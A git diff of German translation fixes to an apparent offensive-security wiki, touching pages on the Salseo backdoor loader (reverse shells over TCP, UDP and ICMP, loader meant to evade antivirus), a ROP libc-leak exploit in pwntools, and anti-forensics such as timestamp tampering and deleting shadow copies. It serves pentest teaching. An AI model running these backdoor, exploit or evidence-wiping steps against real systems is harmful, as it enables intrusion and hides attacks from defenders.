diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # 📱 Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 629b40dae..bbc7177a3 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -10,7 +10,7 @@ Kompiliere diese Projekte für die Architektur des Windows-Systems, auf dem du s Du kannst **die Architektur auswählen** innerhalb von Visual Studio im **linken "Build"-Tab** unter **"Platform Target".** -(\*\*Wenn du diese Optionen nicht findest, klicke auf **"Project Tab"** und dann auf **"\ Properties"**) +(**Wenn du diese Optionen nicht findest, klicke auf **"Project Tab"** und dann auf **"\ Properties"**) ![](<../images/image (132).png>) @@ -32,11 +32,11 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Ok, jetzt hast du alles, was du brauchst, um das Salseo-Ding auszuführen: die **kodierte EvilDalsa.dll** und die **Binärdatei von SalseoLoader.** +Ok, jetzt hast du alles, was du brauchst, um die Salseo-Sache auszuführen: die **kodierte EvilDalsa.dll** und das **Binary von SalseoLoader.** -**Lade die SalseoLoader.exe-Binärdatei auf die Maschine hoch. Sie sollten von keinem AV erkannt werden...** +**Lade das SalseoLoader.exe-Binary auf die Maschine hoch. Sie sollten von keinem AV erkannt werden...** -## **Führe die Hintertür aus** +## **Führe das Backdoor aus** ### **Erhalte eine TCP-Reverse-Shell (kodierte DLL über HTTP herunterladen)** @@ -50,9 +50,9 @@ Denken Sie daran, ein nc als Reverse-Shell-Listener zu starten und einen SMB-Ser ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Einen ICMP-Reverse-Shell erhalten (kodierte DLL bereits im Opfer)** +### **Einen ICMP Reverse Shell erhalten (kodierte DLL bereits im Opfer)** -**Diesmal benötigen Sie ein spezielles Tool auf dem Client, um die Reverse-Shell zu empfangen. Laden Sie herunter:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**Diesmal benötigen Sie ein spezielles Tool auf dem Client, um den Reverse Shell zu empfangen. Laden Sie herunter:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **ICMP-Antworten deaktivieren:** ``` @@ -83,9 +83,9 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Suchen Sie nach dem DllExport-Paket (unter Verwendung des Browse-Tabs) und drücken Sie Installieren (und akzeptieren Sie das Popup)** +#### **Suchen Sie nach dem DllExport-Paket (unter Verwendung des Tabs Durchsuchen) und drücken Sie Installieren (und akzeptieren Sie das Popup)** -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) In Ihrem Projektordner sind die Dateien erschienen: **DllExport.bat** und **DllExport_Configure.bat** @@ -101,7 +101,7 @@ Beenden Sie einfach Visual Studio Gehen Sie dann zu Ihrem **SalseoLoader-Ordner** und **führen Sie DllExport_Configure.bat** aus -Wählen Sie **x64** (wenn Sie es in einer x64-Umgebung verwenden möchten, war das in meinem Fall so), wählen Sie **System.Runtime.InteropServices** (innerhalb von **Namespace für DllExport**) und drücken Sie **Übernehmen** +Wählen Sie **x64** (wenn Sie es in einer x64-Umgebung verwenden möchten, war das mein Fall), wählen Sie **System.Runtime.InteropServices** (innerhalb **Namespace für DllExport**) und drücken Sie **Übernehmen** ![](<../images/image (7) (1) (1) (1) (1).png>) @@ -121,11 +121,11 @@ Wählen Sie die **x64** **Plattform** (Projekt --> SalseoLoader-Eigenschaften -- ![](<../images/image (9) (1) (1).png>) -Um die Lösung zu **erstellen**: Erstellen --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad zur neuen DLL angezeigt) +Um die Lösung zu **erstellen**: Erstellen --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad der neuen DLL angezeigt) ### Testen Sie die generierte DLL -Kopieren Sie die DLL und fügen Sie sie dort ein, wo Sie sie testen möchten. +Kopieren und fügen Sie die DLL dort ein, wo Sie sie testen möchten. Führen Sie aus: ``` @@ -135,7 +135,7 @@ Wenn kein Fehler auftritt, haben Sie wahrscheinlich eine funktionale DLL!! ## Holen Sie sich eine Shell mit der DLL -Vergessen Sie nicht, einen **HTTP** **Server** zu verwenden und einen **nc** **Listener** einzurichten +Vergessen Sie nicht, einen **HTTP** **Server** zu verwenden und einen **nc** **Listener** einzurichten. ### Powershell ``` diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index bb5b00f89..2b769a74c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -6,8 +6,8 @@ 1. **Finde** Overflow **Offset** 2. **Finde** `POP_RDI` Gadget, `PUTS_PLT` und `MAIN` Gadgets -3. Verwende die vorherigen Gadgets, um die **Speicheradresse** von puts oder einer anderen libc-Funktion zu **leaken** und die **libc-Version** zu **finden** ([donwload it](https://libc.blukat.me)) -4. Mit der Bibliothek, **berechne den ROP und exploitiere ihn** +3. Verwende die vorherigen Gadgets, um **die Speicheradresse** von puts oder einer anderen libc-Funktion zu **leaken** und **die libc-Version** zu **finden** ([donwload it](https://libc.blukat.me)) +4. Mit der Bibliothek **berechne den ROP und exploitiere ihn** ## Weitere Tutorials und Binaries zum Üben @@ -32,9 +32,9 @@ return 0; ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - Leaking LIBC Vorlage +## ROP - Leaking LIBC template -Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binary und gib die benötigten Daten an das Skript weiter: +Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binärdatei und gib die benötigten Daten an das Skript weiter: {{#ref}} rop-leaking-libc-template.md @@ -57,7 +57,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Führen Sie** `python template.py` aus, eine GDB-Konsole wird mit dem abgestürzten Programm geöffnet. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole: +**Führen Sie** `python template.py` aus, ein GDB-Konsole wird mit dem abgestürzten Programm geöffnet. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole: ```python from pwn import * cyclic_find(0x6161616b) @@ -83,7 +83,7 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` Der `PUTS_PLT` wird benötigt, um die **Funktion puts** aufzurufen.\ -Der `MAIN_PLT` wird benötigt, um die **Hauptfunktion** nach einer Interaktion erneut aufzurufen, um die **Überlauf** **erneut** auszunutzen (unendliche Runden der Ausnutzung). **Er wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen**.\ +Der `MAIN_PLT` wird benötigt, um die **Hauptfunktion** nach einer Interaktion erneut aufzurufen, um die **Überlauf** **erneut** auszunutzen (unendliche Runden der Ausnutzung). **Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen**.\ Der **POP_RDI** wird benötigt, um einen **Parameter** an die aufgerufene Funktion **zu übergeben**. In diesem Schritt müssen Sie nichts ausführen, da alles während der Ausführung von pwntools gefunden wird. @@ -124,16 +124,16 @@ Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Dies wird einige Bytes senden, bis **das Überschreiben** des **RIP** möglich ist: `OFFSET`.\ -Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** und ihm die **Adresse** von `PUTS_GOT` übergeben wollen, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, die auf `PUTS_GOT` zeigt.\ -Danach wird `PUTS_PLT` (mit `PUTS_GOT` im **RDI**) aufgerufen, sodass puts den **Inhalt** von `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\ -Schließlich wird die **Hauptfunktion erneut aufgerufen**, damit wir das Überlauf erneut ausnutzen können. +Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** möchten, **indem** wir ihm die **Adresse** von `PUTS_GOT` übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, auf die `PUTS_GOT` zeigt.\ +Danach wird `PUTS_PLT` aufgerufen (mit `PUTS_GOT` im **RDI**), sodass puts den **Inhalt** in `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\ +Schließlich wird die **Hauptfunktion erneut aufgerufen**, damit wir das Überlaufen erneut ausnutzen können. -Auf diese Weise haben wir die **puts-Funktion getäuscht**, um die **Adresse** im **Speicher** der Funktion **puts** (die sich in der **libc**-Bibliothek befindet) **auszugeben**. Jetzt, da wir diese Adresse haben, können wir **herausfinden, welche libc-Version verwendet wird**. +Auf diese Weise haben wir die **puts-Funktion** **getäuscht**, um die **Adresse** im **Speicher** der Funktion **puts** (die sich in der **libc**-Bibliothek befindet) **auszugeben**. Jetzt, da wir diese Adresse haben, können wir **herausfinden, welche libc-Version verwendet wird**. ![](<../../../../images/image (1049).png>) Da wir einige **lokale** Binärdateien **ausnutzen**, ist es **nicht notwendig**, herauszufinden, welche Version von **libc** verwendet wird (einfach die Bibliothek in `/lib/x86_64-linux-gnu/libc.so.6` finden).\ -Aber im Fall eines Remote-Exploits erkläre ich hier, wie Sie es finden können: +Aber in einem Fall von Remote-Exploitation erkläre ich hier, wie Sie sie finden können: ### 3.1- Suche nach der libc-Version (1) @@ -181,7 +181,7 @@ __libc_start_main read gets ``` -## 4- Finden der libc-Adresse basierend auf und Ausnutzung +## 4- Finden der libc-Adresse basierend auf und Ausnutzen An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir ein lokales Binary ausnutzen, werde ich nur verwenden: `/lib/x86_64-linux-gnu/libc.so.6` @@ -196,9 +196,9 @@ libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` > [!NOTE] -> Beachten Sie, dass die **endgültige libc-Basisadresse mit 00 enden muss**. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt. +> Beachten Sie, dass **die endgültige libc-Basisadresse mit 00 enden muss**. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt. -Dann werden die Adresse der Funktion `system` und die **Adresse** des Strings _"/bin/sh"_ aus der **Basisadresse** von **libc** berechnet und der **libc-Bibliothek** gegeben. +Dann werden die Adresse der Funktion `system` und die **Adresse** des Strings _"/bin/sh"_ von der **Basisadresse** der **libc** berechnet und der **libc-Bibliothek** gegeben. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -218,17 +218,17 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Lass uns dieses letzte ROP erklären.\ -Das letzte ROP (`rop1`) endete damit, dass die Hauptfunktion erneut aufgerufen wurde, dann können wir **wieder ausnutzen** die **Überlauf** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` aufrufen, das auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigt und die **system** Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\ +Das letzte ROP (`rop1`) hat erneut die Hauptfunktion aufgerufen, dann können wir die **Overflow** erneut **ausnutzen** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigen und die **system** Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\ Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Prozess **schön endet** und keine Warnung generiert wird. -**So wird der Exploit eine \_/bin/sh**\_\*\* Shell ausführen.\*\* +**So wird der Exploit eine _/bin/sh_ Shell ausführen.** ![](<../../../../images/image (165).png>) ## 4(2)- Verwendung von ONE_GADGET -Du könntest auch [**ONE_GADGET** ](https://github.com/david942j/one_gadget) verwenden, um eine Shell zu erhalten, anstatt **system** und **"/bin/sh"** zu verwenden. **ONE_GADGET** wird in der libc-Bibliothek eine Möglichkeit finden, eine Shell mit nur einer **ROP-Adresse** zu erhalten.\ -Es gibt jedoch normalerweise einige Einschränkungen, die häufigsten und am einfachsten zu vermeidenden sind wie `[rsp+0x30] == NULL`. Da du die Werte im **RSP** kontrollierst, musst du nur einige weitere NULL-Werte senden, damit die Einschränkung umgangen wird. +Du könntest auch [**ONE_GADGET** ](https://github.com/david942j/one_gadget) verwenden, um eine Shell zu erhalten, anstatt **system** und **"/bin/sh"** zu verwenden. **ONE_GADGET** findet in der libc-Bibliothek eine Möglichkeit, eine Shell mit nur einer **ROP-Adresse** zu erhalten.\ +Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und am einfachsten zu vermeidenden sind wie `[rsp+0x30] == NULL`. Da du die Werte im **RSP** kontrollierst, musst du nur einige weitere NULL-Werte senden, damit die Einschränkung umgangen wird. ![](<../../../../images/image (754).png>) ```python @@ -259,7 +259,7 @@ MAIN_PLT = 0x401080 ``` ### Puts nicht gefunden -Wenn die Binärdatei Puts nicht verwendet, sollten Sie überprüfen, ob sie verwendet wird +Wenn die Binary Puts nicht verwendet, sollten Sie überprüfen, ob sie verwendet wird ### `sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden` diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 2de8f52a3..2e00c8d74 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,9 +4,9 @@ ## Was ist ein Stack Overflow -Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzüberprüfung der Eingaben durchführen. +Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zu einer Korruption gültiger Daten, einer Störung des Kontrollflusses und potenziell zur Ausführung von schädlichem Code führen kann. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen. -Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu kontrollieren**. +Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**. Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben. @@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer); ``` ### Finden von Stack Overflow Offsets -Die gängigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und auf einen `Segmentation Fault` zu warten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**. +Die häufigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**. -Darüber hinaus, sobald Sie festgestellt haben, dass eine Stack Overflow-Sicherheitsanfälligkeit vorliegt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n**\_\*\* genau einmal\*\* als zusammenhängende Teilsequenz erscheint. +Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint. -Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben. +Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um die EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die das Überschreiben beendet haben. Es ist möglich, **pwntools** dafür zu verwenden: ```python @@ -51,7 +51,7 @@ pattern search $rsp #Search the offset given the content of $rsp ## Ausnutzen von Stack-Überläufen Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) wirst du in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis du das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichst.\ -Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass beim Ende der Funktion der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**. +Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**. In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen). @@ -73,7 +73,7 @@ stack-shellcode/ ### ROP & Ret2... Techniken -Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die letztendlich beliebige Befehle ausführen, indem sie vorhandene Anweisungen im Binärprogramm ausnutzen: +Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm missbraucht werden: {{#ref}} ../rop-return-oriented-programing/ @@ -81,7 +81,7 @@ Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen ## Heap-Überläufe -Ein Überlauf wird nicht immer im Stack sein, er könnte auch im **Heap** sein, zum Beispiel: +Ein Überlauf muss nicht immer im Stack sein, er könnte auch im **Heap** sein, zum Beispiel: {{#ref}} ../libc-heap/heap-overflow.md diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index 155c8e9d1..2af3a4df5 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -174,7 +174,7 @@ ryvkryvkryvkryvkryvkryvkryvk ``` drnajapajrna ``` -- [https://www.geocachingtoolbox.com/index.php?lang=de\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=de&page=dvorakKeyboard) +- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 @@ -192,7 +192,7 @@ krodfdudfrod **Multitap** [ersetzt einen Buchstaben](https://www.dcode.fr/word-letter-change) durch wiederholte Ziffern, die durch den entsprechenden Tastencode auf einer mobilen [Telefon-Tastatur](https://www.dcode.fr/phone-keypad-cipher) definiert sind (Dieser Modus wird beim Schreiben von SMS verwendet).\ Zum Beispiel: 2=A, 22=B, 222=C, 3=D...\ -Sie können diesen Code identifizieren, weil Sie\*\* mehrere Zahlen wiederholt sehen\*\*. +Sie können diesen Code identifizieren, weil Sie **mehrere Zahlen wiederholt** sehen werden. Sie können diesen Code entschlüsseln unter: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 155c8e9d1..2af3a4df5 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -174,7 +174,7 @@ ryvkryvkryvkryvkryvkryvkryvk ``` drnajapajrna ``` -- [https://www.geocachingtoolbox.com/index.php?lang=de\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=de&page=dvorakKeyboard) +- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 @@ -192,7 +192,7 @@ krodfdudfrod **Multitap** [ersetzt einen Buchstaben](https://www.dcode.fr/word-letter-change) durch wiederholte Ziffern, die durch den entsprechenden Tastencode auf einer mobilen [Telefon-Tastatur](https://www.dcode.fr/phone-keypad-cipher) definiert sind (Dieser Modus wird beim Schreiben von SMS verwendet).\ Zum Beispiel: 2=A, 22=B, 222=C, 3=D...\ -Sie können diesen Code identifizieren, weil Sie\*\* mehrere Zahlen wiederholt sehen\*\*. +Sie können diesen Code identifizieren, weil Sie **mehrere Zahlen wiederholt** sehen werden. Sie können diesen Code entschlüsseln unter: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 2f9106bd0..6ce31f820 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,7 +3,7 @@ # Zeitstempel Ein Angreifer könnte daran interessiert sein, **die Zeitstempel von Dateien zu ändern**, um nicht entdeckt zu werden.\ -Es ist möglich, die Zeitstempel im MFT in den Attributen `$STANDARD_INFORMATION` ** und ** `$FILE_NAME` zu finden. +Es ist möglich, die Zeitstempel im MFT in den Attributen `$STANDARD_INFORMATION`**und**`$FILE_NAME` zu finden. Beide Attribute haben 4 Zeitstempel: **Änderung**, **Zugriff**, **Erstellung** und **MFT-Registrierungsänderung** (MACE oder MACB). @@ -19,7 +19,7 @@ Das **USN Journal** (Update Sequence Number Journal) ist eine Funktion des NTFS ![](<../../images/image (449).png>) -Das vorherige Bild ist die **Ausgabe**, die vom **Tool** angezeigt wird, wo zu beobachten ist, dass einige **Änderungen vorgenommen wurden**. +Das vorherige Bild ist die **Ausgabe**, die von dem **Tool** angezeigt wird, wo zu beobachten ist, dass einige **Änderungen vorgenommen wurden**. ## $LogFile @@ -40,11 +40,11 @@ Mit demselben Tool ist es möglich zu identifizieren, **zu welcher Zeit die Zeit ## Vergleich von `$STANDARD_INFORMATION` und `$FILE_NAME` -Eine weitere Möglichkeit, verdächtig modifizierte Dateien zu identifizieren, wäre der Vergleich der Zeit auf beiden Attributen auf **Unstimmigkeiten**. +Eine weitere Möglichkeit, verdächtig modifizierte Dateien zu identifizieren, wäre der Vergleich der Zeit auf beiden Attributen auf **Unstimmigkeiten** zu überprüfen. ## Nanosekunden -**NTFS**-Zeitstempel haben eine **Präzision** von **100 Nanosekunden**. Daher ist es sehr verdächtig, Dateien mit Zeitstempeln wie 2010-10-10 10:10:**00.000:0000 zu finden**. +**NTFS**-Zeitstempel haben eine **Präzision** von **100 Nanosekunden**. Daher ist es sehr **verdächtig**, Dateien mit Zeitstempeln wie 2010-10-10 10:10:**00.000:0000 zu finden. ## SetMace - Anti-Forensik-Tool @@ -94,7 +94,7 @@ Dies speichert Informationen über die ausgeführten Anwendungen mit dem Ziel, d - Wählen Sie den Dateipfad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` - Klicken Sie mit der rechten Maustaste auf `EnablePrefetcher` und `EnableSuperfetch` - Wählen Sie Ändern bei jedem dieser, um den Wert von 1 (oder 3) auf 0 zu ändern -- Neustarten +- Neustart ## Zeitstempel deaktivieren - Letzte Zugriffszeit @@ -107,25 +107,25 @@ Immer wenn ein Ordner von einem NTFS-Volume auf einem Windows NT-Server geöffne ## USB-Historie löschen -Alle **USB-Geräteeinträge** werden in der Windows-Registrierung unter dem **USBSTOR**-Registrierungsschlüssel gespeichert, der Unterkeys enthält, die erstellt werden, wenn Sie ein USB-Gerät an Ihren PC oder Laptop anschließen. Sie finden diesen Schlüssel hier: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Durch das Löschen dieses Schlüssels** löschen Sie die USB-Historie.\ +Alle **USB-Geräteeinträge** werden in der Windows-Registrierung unter dem **USBSTOR**-Registrierungsschlüssel gespeichert, der Unterschlüssel enthält, die erstellt werden, wenn Sie ein USB-Gerät an Ihren PC oder Laptop anschließen. Sie finden diesen Schlüssel hier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Durch das Löschen dieses** Schlüssels löschen Sie die USB-Historie.\ Sie können auch das Tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) verwenden, um sicherzustellen, dass Sie sie gelöscht haben (und um sie zu löschen). Eine weitere Datei, die Informationen über die USBs speichert, ist die Datei `setupapi.dev.log` im Verzeichnis `C:\Windows\INF`. Diese sollte ebenfalls gelöscht werden. ## Schattenkopien deaktivieren -**Listen** Sie Schattenkopien mit `vssadmin list shadowstorage`\ +**Liste** der Schattenkopien mit `vssadmin list shadowstorage`\ **Löschen** Sie sie, indem Sie `vssadmin delete shadow` ausführen. Sie können sie auch über die GUI löschen, indem Sie die Schritte in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) befolgen. Um Schattenkopien zu deaktivieren, [Schritte von hier](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Öffnen Sie das Programm Dienste, indem Sie "Dienste" in das Textsuchfeld eingeben, nachdem Sie auf die Schaltfläche "Windows-Start" geklickt haben. -2. Suchen Sie in der Liste nach "Volume Shadow Copy", wählen Sie es aus und greifen Sie dann mit einem Rechtsklick auf die Eigenschaften zu. -3. Wählen Sie Deaktiviert aus dem Dropdown-Menü "Starttyp" und bestätigen Sie die Änderung, indem Sie auf Übernehmen und OK klicken. +1. Öffnen Sie das Dienstprogramm "Dienste", indem Sie "Dienste" in das Textsuchfeld eingeben, nachdem Sie auf die Schaltfläche "Windows-Start" geklickt haben. +2. Suchen Sie in der Liste "Volume Shadow Copy", wählen Sie es aus und greifen Sie dann mit einem Rechtsklick auf die Eigenschaften zu. +3. Wählen Sie "Deaktiviert" aus dem Dropdown-Menü "Starttyp" und bestätigen Sie die 